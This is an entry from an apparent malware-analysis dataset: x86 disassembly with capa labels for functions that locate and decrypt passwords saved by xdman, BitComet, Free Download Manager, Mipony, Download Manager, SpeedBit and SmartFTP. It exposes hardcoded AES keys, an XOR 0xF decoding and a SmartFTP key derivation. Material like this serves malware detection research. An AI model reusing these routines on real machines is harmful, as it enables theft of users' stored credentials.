joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4194a5
Capabilities:
Contain obfuscated stackstrings
Create new key via cryptacquirecontext
Encrypt data using aes via winapi
Encrypt or decrypt via wincrypt

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x43c
mov eax, dword [0x6ffe74]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [ebp + 0xc]
mov ebx, ecx
push edi
mov edi, dword [ebp + 0x10]
mov dword [ebp - 0x434], edx
mov byte [esi], 0
cmp byte [ebx], 0
mov dword [ebp - 0x14], 0x414e4558
mov dword [ebp - 0x10], 0x524f4d52
mov dword [ebp - 0xc], 0x54464f53
mov dword [ebp - 8], 0x45524157
je 0x419651
push ecx
lea edx, [ebp - 0x3fc]
call fcn.004020b3
mov dword [ebp - 0x438], eax
pop ecx
test eax, eax
je 0x419651
push ebx
call fcn.00643470
push 0x20
pop eax
push eax
push dword [ebp - 0x434]
mov dword [ebp - 0x420], eax
lea eax, [ebp - 0x41c]
push eax
mov dword [ebp - 0x428], 0x208
mov dword [ebp - 0x424], 0x6610
call fcn.00638b30
add esp, 0x10
lea eax, [ebp - 0x430]
xor ebx, ebx
push 0xf0000000
push 0x18
push ebx
push ebx
push eax
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
je 0x41964b
lea eax, [ebp - 0x42c]
push eax
push ebx
push ebx
push 0x2c
lea eax, [ebp - 0x428]
push eax
push dword [ebp - 0x430]
call dword [sym.imp.ADVAPI32.dll_CryptImportKey]
test eax, eax
je 0x41964b
push ebx
lea eax, [ebp - 0x14]
push eax
push 1
push dword [ebp - 0x42c]
call dword [sym.imp.ADVAPI32.dll_CryptSetKeyParam]
test eax, eax
je 0x41964b
mov eax, dword [ebp - 0x438]
mov dword [ebp - 0x43c], eax
lea eax, [ebp - 0x43c]
push eax
lea eax, [ebp - 0x3fc]
mov byte [esi], bl
push eax
push ebx
push 1
push ebx
push dword [ebp - 0x42c]
call dword [sym.imp.ADVAPI32.dll_CryptDecrypt]
test eax, eax
jne 0x419603
call dword [sym.imp.KERNEL32.dll_GetLastError]
lea eax, [ebp - 0x3ec]
push eax
push dword [edi]
push esi
call fcn.006494f3
push esi
call fcn.00643470
push esi
mov dword [edi], eax
call fcn.00643470
add esp, 0x14
cmp eax, 1
jb 0x419651
jmp 0x41961d
lea eax, [ebp - 0x3ec]
push eax
push dword [edi]
push esi
call fcn.006494f3
push esi
call fcn.00643470
add esp, 0x10
mov dword [edi], eax
cmp dword [ebp - 0x42c], ebx
je 0x419631
push dword [ebp - 0x42c]
call dword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
cmp dword [ebp - 0x430], ebx
je 0x419646
push ebx
push dword [ebp - 0x430]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
xor eax, eax
inc eax
jmp 0x419653
call dword [sym.imp.KERNEL32.dll_GetLastError]
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.006122f0
leave
ret
Function at 0x41b3e2
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2728
call fcn.00612c90
mov eax, dword [0x6ffe74]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
push esi
mov dword [ebp - 0x2724], ecx
call fcn.00643470
xor ebx, ebx
cmp eax, 1
pop ecx
lea eax, [ebp - 0x3f4]
jae 0x41b45b
push eax
push ebx
push ebx
push 0x28
push ebx
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
jns 0x41b442
call dword [sym.imp.KERNEL32.dll_GetLastError]
xor eax, eax
mov ecx, dword [ebp - 8]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.006122f0
leave
ret 4
push str..xdman.credentials
mov esi, 0x3e8
lea eax, [ebp - 0x3f4]
push esi
push eax
call fcn.006500a8
jmp 0x41b468
push esi
mov esi, 0x3e8
push esi
push eax
call fcn.006494f3
add esp, 0xc
mov dword [ebp - 0x2720], ebx
lea eax, [ebp - 0x3f4]
push 0x6c63d0
push eax
lea eax, [ebp - 0x2720]
push eax
call fcn.00649a00
add esp, 0xc
test eax, eax
jne 0x41b42f
cmp dword [ebp - 0x2720], ebx
je 0x41b42f
jmp 0x41b5bd
lea eax, [ebp - 0x271c]
push eax
call fcn.00643470
pop ecx
test eax, eax
je 0x41b4e5
lea eax, [ebp - 0x271c]
push eax
call fcn.00643470
pop ecx
cmp byte [ebp + eax - 0x271d], 0xa
jne 0x41b4e5
lea eax, [ebp - 0x271c]
push eax
call fcn.00643470
dec eax
pop ecx
cmp eax, 0x1388
jae 0x41b5f3
mov byte [ebp + eax - 0x271c], bl
lea eax, [ebp - 0x271c]
push eax
call fcn.00643470
lea edx, [ebp - 0x7dc]
mov byte [ebp - 0xbc4], bl
lea ecx, [ebp - 0x271c]
mov byte [ebp - 0xfac], bl
mov byte [ebp - 0x1394], bl
call fcn.004020b3
pop ecx
test eax, eax
je 0x41b5bd
lea eax, [ebp - 0x7dc]
push 0xa
push eax
call fcn.006393d0
mov edi, eax
pop ecx
pop ecx
test edi, edi
je 0x41b5bd
lea eax, [ebp - 0x7dc]
mov byte [edi], bl
push eax
lea eax, [ebp - 0x1394]
push esi
push eax
call fcn.006494f3
add esp, 0xc
lea ebx, [edi + 1]
push 0xa
push ebx
call fcn.006393d0
mov edi, eax
pop ecx
pop ecx
test edi, edi
je 0x41b5bb
push ebx
lea eax, [ebp - 0xfac]
mov byte [edi], 0
push esi
push eax
call fcn.006494f3
add esp, 0xc
lea eax, [edi + 1]
push eax
lea eax, [ebp - 0xbc4]
push esi
push eax
call fcn.006494f3
mov ecx, dword [ebp - 0x2724]
lea eax, [ebp - 0xbc4]
add esp, 0xc
mov edi, 0x6c5bb9
push 0xffffffffffffffff
push edi
push eax
lea eax, [ebp - 0xfac]
push eax
lea eax, [ebp - 0x1394]
push eax
push edi
push 0x8e
push 5
call fcn.0043ee6b
xor ebx, ebx
push dword [ebp - 0x2720]
lea eax, [ebp - 0x271c]
push 0x1388
push eax
call fcn.006494dd
add esp, 0xc
test eax, eax
jne 0x41b49d
push dword [ebp - 0x2720]
call fcn.00649273
xor eax, eax
pop ecx
inc eax
jmp 0x41b431
call fcn.00612782
int3
Function at 0x41ba7d
Capabilities:
Get common file path

Disassembly:
push 0xc28
mov eax, 0x66d282
call fcn.00612b19
mov dword [ebp - 0xbe8], ecx
mov ebx, dword [ebp + 8]
lea edi, [ebp - 0x2c]
push 6
pop ecx
mov esi, str.BitCometdownloads.xml
mov byte [ebp - 0xbe4], 0
rep movsd dword es:[edi], dword [esi]
mov esi, 0x3e7
lea eax, [ebp - 0xbe3]
push esi
push 0
push eax
call fcn.006390b0
add esp, 0xc
mov byte [ebp - 0x7fc], 0
lea eax, [ebp - 0x7fb]
push esi
push 0
push eax
call fcn.006390b0
add esp, 0xc
mov byte [ebp - 0x414], 0
lea eax, [ebp - 0x413]
push esi
push 0
push eax
call fcn.006390b0
add esp, 0xc
push ebx
call fcn.00643470
pop ecx
cmp eax, 1
jae 0x41bb4f
lea eax, [ebp - 0x414]
push eax
xor eax, eax
push eax
push eax
push 0x1a
push eax
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
jns 0x41bb1d
xor eax, eax
jmp 0x41bc61
push str.BitComet
lea eax, [ebp - 0x414]
mov edi, str._s_s
push eax
push edi
mov esi, 0x3e8
lea eax, [ebp - 0xbe4]
push esi
push eax
call fcn.00402e0a
add esp, 0x14
lea ebx, [ebp - 0x414]
lea eax, [ebp - 0x2c]
jmp 0x41bb6f
push ebx
mov esi, 0x3e8
lea eax, [ebp - 0xbe4]
push esi
push eax
call fcn.006494f3
add esp, 0xc
mov edi, 0x6c643c
mov eax, str.downloads.xml
push eax
push ebx
push edi
lea eax, [ebp - 0x7fc]
push esi
push eax
call fcn.00402e0a
add esp, 0x14
lea ecx, [ebp - 0x7fc]
call fcn.00405670
test eax, eax
jne 0x41bb9c
call dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x41bb16
lea eax, [ebp - 0x7fc]
push eax
lea ecx, [ebp - 0xc34]
call fcn.00614650
and dword [ebp - 4], 0
lea ecx, [ebp - 0xc34]
push 0
call fcn.00615770
test al, al
je 0x41bc52
push 0x6c9d98
lea ecx, [ebp - 0xc34]
call fcn.006154c0
test eax, eax
je 0x41bc52
push str.Torrents
mov ecx, eax
call fcn.006154c0
test eax, eax
je 0x41bc52
push str.Download
mov ecx, eax
call fcn.006154c0
mov esi, eax
test esi, esi
je 0x41bc42
mov ebx, dword [ebp - 0xbe8]
push str.OriginalUrl
mov ecx, esi
call fcn.00614cf0
push str.DetailFile
mov ecx, esi
mov edi, eax
call fcn.00614cf0
test edi, edi
je 0x41bc35
test eax, eax
je 0x41bc35
push edi
push eax
lea eax, [ebp - 0xbe4]
mov ecx, ebx
push eax
call fcn.0041b991
mov ecx, esi
call fcn.00615810
mov esi, eax
test esi, esi
jne 0x41bc03
lea ecx, [ebp - 0xc34]
call fcn.00614d20
xor esi, esi
inc esi
jmp 0x41bc54
xor esi, esi
lea ecx, [ebp - 0xc34]
call fcn.00408812
mov eax, esi
call fcn.00612ac8
ret 4
Function at 0x41c364
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x800
mov eax, dword [0x6ffe74]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
push esi
push edi
mov dword [ebp - 0x800], ecx
lea edi, [ebp - 0x2c]
mov ebx, dword [ebp + 8]
mov esi, str.Free_Download_Manager_sites.sav
push 8
pop ecx
rep movsd dword es:[edi], dword [esi]
push ebx
movsb byte es:[edi], byte [esi]
call fcn.00643470
pop ecx
cmp eax, 1
jae 0x41c3c5
lea eax, [ebp - 0x7fc]
push eax
xor eax, eax
push eax
push eax
push 0x1a
push eax
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
js 0x41c40f
mov eax, str._s_s
lea ebx, [ebp - 0x7fc]
lea ecx, [ebp - 0x2c]
jmp 0x41c3cf
mov eax, 0x6c643c
mov ecx, str.sites.sav
push ecx
push ebx
push eax
lea eax, [ebp - 0x414]
push 0x3e8
push eax
call fcn.00402e0a
add esp, 0x14
lea ecx, [ebp - 0x414]
call fcn.00405670
test eax, eax
je 0x41c40f
mov ecx, dword [ebp - 0x800]
lea eax, [ebp - 0x414]
push eax
call fcn.0041bc69
neg eax
sbb eax, eax
neg eax
jmp 0x41c411
xor eax, eax
mov ecx, dword [ebp - 8]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.006122f0
leave
ret 4
Function at 0x41cafd
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x7f0
mov eax, dword [0x6ffe74]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
push esi
push edi
mov ebx, dword [ebp + 8]
lea edi, [ebp - 0x1c]
mov esi, str.Miponymipony.xml
mov dword [ebp - 0x7f0], ecx
push ebx
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
call fcn.00643470
pop ecx
cmp eax, 1
jae 0x41cb5f
lea eax, [ebp - 0x7ec]
push eax
xor eax, eax
push eax
push eax
push 0x1a
push eax
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
js 0x41cb95
mov eax, str._s_s
lea ebx, [ebp - 0x7ec]
lea ecx, [ebp - 0x1c]
jmp 0x41cb69
mov eax, 0x6c643c
mov ecx, str.mipony.xml
push ecx
push ebx
push eax
lea eax, [ebp - 0x404]
push 0x3e8
push eax
call fcn.00402e0a
add esp, 0x14
lea ecx, [ebp - 0x404]
call fcn.00405670
test eax, eax
jne 0x41cb99
call dword [sym.imp.KERNEL32.dll_GetLastError]
xor eax, eax
jmp 0x41cbb1
mov ecx, dword [ebp - 0x7f0]
lea eax, [ebp - 0x404]
push eax
call fcn.0041c703
neg eax
sbb eax, eax
neg eax
mov ecx, dword [ebp - 8]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.006122f0
leave
ret 4
Function at 0x41cbc2
Capabilities:
Encode data using xor
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1fa8
call fcn.00612c90
mov eax, dword [0x6ffe74]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
lea eax, [ebp - 0x1f93]
push 0x1387
push 0
push eax
mov ebx, ecx
mov byte [ebp - 0x1f94], 0
call fcn.006390b0
add esp, 0xc
lea eax, [ebp - 0xc0b]
mov esi, 0x3ff
push esi
push 0
push eax
call fcn.006390b0
add esp, 0xc
lea eax, [ebp - 0x40b]
push esi
push 0
push eax
call fcn.006390b0
add esp, 0xc
lea eax, [ebp - 0x80b]
push esi
push 0
push eax
call fcn.006390b0
add esp, 0xc
lea eax, [ebp - 0x1f94]
inc esi
push edi
push str.SoftwareDownloadManagerPasswords_s
push esi
push eax
call fcn.00402e0a
add esp, 0x10
lea eax, [ebp - 0x1f98]
push eax
push 0x20019
push 0
lea eax, [ebp - 0x1f94]
push eax
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x41cc7b
xor eax, eax
jmp 0x41cd76
lea eax, [ebp - 0x1f9c]
mov dword [ebp - 0x1f9c], esi
mov esi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
xor ecx, ecx
push eax
lea eax, [ebp - 0xc0c]
mov byte [ebp - 0x40c], cl
push eax
lea eax, [ebp - 0x1fa4]
mov byte [ebp - 0xc0c], cl
push eax
push ecx
push str.User
push dword [ebp - 0x1f98]
mov byte [ebp - 0x80c], cl
call esi
test eax, eax
je 0x41ccd0
push dword [ebp - 0x1f98]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x41cc74
lea eax, [ebp - 0x1fa0]
mov dword [ebp - 0x1fa0], 0x400
push eax
lea eax, [ebp - 0x40c]
push eax
lea eax, [ebp - 0x1fa4]
push eax
push 0
push str.EncPassword
push dword [ebp - 0x1f98]
call esi
push dword [ebp - 0x1f98]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x40c]
push eax
call fcn.00643470
pop ecx
xor ecx, ecx
cmp byte [ebp - 0x40c], cl
je 0x41cd45
mov al, byte [ebp + ecx - 0x40c]
xor al, 0xf
mov byte [ebp + ecx - 0x80c], al
inc ecx
mov eax, ecx
cmp byte [ebp + ecx - 0x40c], 0
jne 0x41cd21
cmp eax, 0x400
jae 0x41cd87
push 0xffffffffffffffff
mov byte [ebp + ecx - 0x80c], 0
lea eax, [ebp - 0x80c]
mov ecx, 0x6c5bb9
push ecx
push eax
lea eax, [ebp - 0xc0c]
push eax
push edi
push ecx
push 0x86
push 5
mov ecx, ebx
call fcn.0043ee6b
xor eax, eax
inc eax
mov ecx, dword [ebp - 8]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.006122f0
leave
ret 4
call fcn.00612782
int3
Function at 0x41cd8d
Capabilities:
Encode data using xor
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x23a8
call fcn.00612c90
mov eax, dword [0x6ffe74]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
push esi
mov esi, dword [ebp + 8]
lea eax, [ebp - 0xc0b]
push edi
mov ebx, 0x3ff
mov byte [ebp - 0xc0c], 0
push ebx
push 0
push eax
mov edi, ecx
call fcn.006390b0
add esp, 0xc
mov byte [ebp - 0x40c], 0
lea eax, [ebp - 0x40b]
push ebx
push 0
push eax
call fcn.006390b0
add esp, 0xc
mov byte [ebp - 0x100c], 0
lea eax, [ebp - 0x100b]
push ebx
push 0
push eax
call fcn.006390b0
add esp, 0xc
mov byte [ebp - 0x80c], 0
lea eax, [ebp - 0x80b]
push ebx
xor ebx, ebx
push ebx
push eax
call fcn.006390b0
add esp, 0xc
mov eax, 0x400
mov dword [ebp - 0x23a8], eax
mov dword [ebp - 0x23a4], eax
mov dword [ebp - 0x23a0], eax
push esi
push str.SoftwareDownloadManager_s
push eax
lea eax, [ebp - 0x2394]
push eax
call fcn.00402e0a
add esp, 0x10
lea eax, [ebp - 0x2398]
push eax
push 0x20019
push ebx
lea eax, [ebp - 0x2394]
push eax
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x41cf73
mov esi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
lea eax, [ebp - 0x23a0]
push eax
lea eax, [ebp - 0x100c]
push eax
lea eax, [ebp - 0x239c]
push eax
push ebx
push str.Url0
push dword [ebp - 0x2398]
call esi
lea eax, [ebp - 0x23a4]
push eax
lea eax, [ebp - 0xc0c]
push eax
lea eax, [ebp - 0x239c]
push eax
push ebx
push str.User
push dword [ebp - 0x2398]
call esi
lea eax, [ebp - 0x23a8]
push eax
lea eax, [ebp - 0x40c]
push eax
lea eax, [ebp - 0x239c]
push eax
push ebx
push str.EncPassword
push dword [ebp - 0x2398]
call esi
push dword [ebp - 0x2398]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp byte [ebp - 0x100c], bl
je 0x41cf73
cmp byte [ebp - 0x40c], bl
je 0x41cf73
lea eax, [ebp - 0xc0c]
push str.anonymous
push eax
call fcn.0064fd85
pop ecx
pop ecx
test eax, eax
je 0x41cf73
mov al, byte [ebp - 0x40c]
mov ecx, ebx
test al, al
je 0x41cf3b
xor al, 0xf
mov byte [ebp + ecx - 0x80c], al
inc ecx
mov edx, ecx
mov al, byte [ebp + ecx - 0x40c]
test al, al
jne 0x41cf1c
cmp edx, 0x400
jae 0x41cf86
push 0xffffffffffffffff
mov byte [ebp + ecx - 0x80c], bl
lea eax, [ebp - 0x80c]
mov ecx, 0x6c5bb9
push ecx
push eax
lea eax, [ebp - 0xc0c]
push eax
lea eax, [ebp - 0x100c]
push eax
push ecx
push 0x86
push 5
mov ecx, edi
call fcn.0043ee6b
xor eax, eax
inc eax
jmp 0x41cf75
xor eax, eax
mov ecx, dword [ebp - 8]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.006122f0
leave
ret 4
call fcn.00612782
int3
Function at 0x41cf8c
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x81c
mov eax, dword [0x6ffe74]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
lea eax, [ebp - 0x80c]
mov dword [ebp - 0x818], ecx
push eax
push 0x20019
push 0
push str.SoftwareDownloadManagerPasswords
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov edi, dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test eax, eax
jne 0x41d051
xor ecx, ecx
mov dword [ebp - 0x810], 0x400
push ecx
push ecx
push ecx
push ecx
lea eax, [ebp - 0x810]
mov esi, ecx
push eax
lea eax, [ebp - 0x408]
push eax
push ecx
push dword [ebp - 0x80c]
call edi
test eax, eax
jne 0x41d049
mov ebx, dword [ebp - 0x818]
lea eax, [ebp - 0x408]
mov ecx, ebx
push eax
call fcn.0041cbc2
xor eax, eax
mov dword [ebp - 0x810], 0x400
push eax
push eax
push eax
push eax
lea eax, [ebp - 0x810]
inc esi
push eax
lea eax, [ebp - 0x408]
push eax
push esi
push dword [ebp - 0x80c]
call edi
test eax, eax
je 0x41d009
mov ebx, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push dword [ebp - 0x80c]
call ebx
lea eax, [ebp - 0x80c]
push eax
push 0x20019
push 0
push str.SoftwareDownloadManager
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x41d0ee
xor ecx, ecx
mov dword [ebp - 0x814], 0x400
push ecx
push ecx
push ecx
push ecx
lea eax, [ebp - 0x814]
mov esi, ecx
push eax
lea eax, [ebp - 0x808]
push eax
push ecx
push dword [ebp - 0x80c]
call edi
test eax, eax
jne 0x41d0e6
mov ebx, dword [ebp - 0x818]
lea eax, [ebp - 0x808]
mov ecx, ebx
push eax
call fcn.0041cd8d
xor eax, eax
mov dword [ebp - 0x814], 0x400
push eax
push eax
push eax
push eax
lea eax, [ebp - 0x814]
inc esi
push eax
lea eax, [ebp - 0x808]
push eax
push esi
push dword [ebp - 0x80c]
call edi
test eax, eax
je 0x41d0a6
mov ebx, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push dword [ebp - 0x80c]
call ebx
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.006122f0
leave
ret
Function at 0x41d0fd
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1fa8
call fcn.00612c90
mov eax, dword [0x6ffe74]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
lea eax, [ebp - 0x1f93]
push 0x1387
push 0
push eax
mov ebx, ecx
mov byte [ebp - 0x1f94], 0
call fcn.006390b0
add esp, 0xc
lea eax, [ebp - 0x80b]
mov esi, 0x3ff
push esi
push 0
push eax
call fcn.006390b0
add esp, 0xc
lea eax, [ebp - 0x40b]
push esi
push 0
push eax
call fcn.006390b0
add esp, 0xc
lea eax, [ebp - 0x1f94]
inc esi
push edi
push str.SoftwareSpeedBitDownload_AcceleratorHostsData_s
push esi
push eax
call fcn.00402e0a
add esp, 0x10
lea eax, [ebp - 0x1f98]
push eax
push 0x20019
push 0
lea eax, [ebp - 0x1f94]
push eax
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x41d1a4
xor eax, eax
jmp 0x41d27a
lea eax, [ebp - 0x1f9c]
mov dword [ebp - 0x1f9c], esi
mov esi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
xor ecx, ecx
push eax
lea eax, [ebp - 0x80c]
mov byte [ebp - 0x40c], cl
push eax
lea eax, [ebp - 0x1fa4]
mov byte [ebp - 0x80c], cl
push eax
push ecx
push str.User
push dword [ebp - 0x1f98]
mov byte [ebp - 0xc0c], cl
call esi
test eax, eax
je 0x41d1f9
push dword [ebp - 0x1f98]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x41d19d
lea eax, [ebp - 0x1fa0]
mov dword [ebp - 0x1fa0], 0x400
push eax
lea eax, [ebp - 0x40c]
push eax
lea eax, [ebp - 0x1fa4]
push eax
push 0
push str.Pass
push dword [ebp - 0x1f98]
call esi
push dword [ebp - 0x1f98]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x40c]
push eax
call fcn.00643470
lea edx, [ebp - 0xc0c]
lea ecx, [ebp - 0x40c]
call fcn.004020b3
pop ecx
push 0xffffffffffffffff
mov ecx, 0x6c5bb9
lea eax, [ebp - 0xc0c]
push ecx
push eax
lea eax, [ebp - 0x80c]
push eax
push edi
push ecx
push 0x84
push 5
mov ecx, ebx
call fcn.0043ee6b
xor eax, eax
inc eax
mov ecx, dword [ebp - 8]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.006122f0
leave
ret 4

Function at 0x41d28b
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x414
mov eax, dword [0x6ffe74]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
lea eax, [ebp - 0x410]
xor edi, edi
push eax
push 0x20019
push edi
push str.SoftwareSpeedBitDownload_AcceleratorHostsData
push SysReAllocString
mov ebx, ecx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x41d329
push edi
push edi
push edi
push edi
lea eax, [ebp - 0x40c]
mov esi, edi
push eax
lea eax, [ebp - 0x408]
push eax
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
jmp 0x41d307
lea eax, [ebp - 0x408]
mov ecx, ebx
push eax
call fcn.0041d0fd
inc esi
xor eax, eax
push eax
push eax
push eax
push eax
lea eax, [ebp - 0x40c]
push eax
lea eax, [ebp - 0x408]
push eax
push esi
push dword [ebp - 0x410]
mov dword [ebp - 0x40c], 0x400
call edi
test eax, eax
je 0x41d2e3
push dword [ebp - 0x410]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.006122f0
leave
ret
Function at 0x41d672
Capabilities:
Encrypt data using rc4 via winapi
Encrypt or decrypt via wincrypt
Hash data via wincrypt
Hash data with md5
Initialize hashing via wincrypt

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
and dword [ebp - 4], 0
push ebx
push esi
mov esi, ecx
mov ebx, edx
push edi
push esi
call fcn.00643470
xor edi, edi
cmp byte [esi], 0
pop ecx
je 0x41d6be
push esi
call fcn.00643470
pop ecx
cmp edi, eax
jae 0x41d6be
movzx eax, byte [esi + edi*2]
mov cl, byte [eax + 0x6d03a8]
movzx eax, byte [esi + edi*2 + 1]
shl cl, 4
or cl, byte [eax + 0x6d03a8]
mov byte [edi + esi], cl
inc edi
cmp byte [esi + edi*2], 0
jne 0x41d691
push esi
mov byte [edi + esi], 0
mov dword [ebp - 0x14], edi
call fcn.00643470
pop ecx
push 0xf0000000
xor eax, eax
push 1
push str.Microsoft_Enhanced_Cryptographic_Provider_v1.0
push eax
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], eax
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
jne 0x41d700
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, dword [ebp - 4]
jmp 0x41d79b
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x8003
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
je 0x41d6f2
push 0
push 0x6ca128
call fcn.00643470
pop ecx
add eax, eax
push eax
push str.SmartFTP
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
je 0x41d6f2
lea eax, [ebp - 0x10]
push eax
push 0x800000
push dword [ebp - 8]
push 0x6801
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_CryptDeriveKey]
test eax, eax
je 0x41d6f2
lea eax, [ebp - 0x14]
push eax
push esi
push 0
push 1
push 0
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_CryptDecrypt]
test eax, eax
je 0x41d6f2
xor eax, eax
push eax
push eax
push 0x100
push ebx
push dword [ebp - 0x14]
push esi
push eax
push eax
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov eax, dword [ebp - 0x14]
shr eax, 1
push ebx
mov byte [eax + ebx], 0
call fcn.00643470
xor ebx, ebx
pop ecx
inc ebx
cmp dword [ebp - 0x10], 0
je 0x41d7aa
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
cmp dword [ebp - 8], 0
je 0x41d7b9
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
cmp dword [ebp - 0xc], 0
je 0x41d7ca
push 0
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
pop edi
pop esi
mov eax, ebx
pop ebx
leave
ret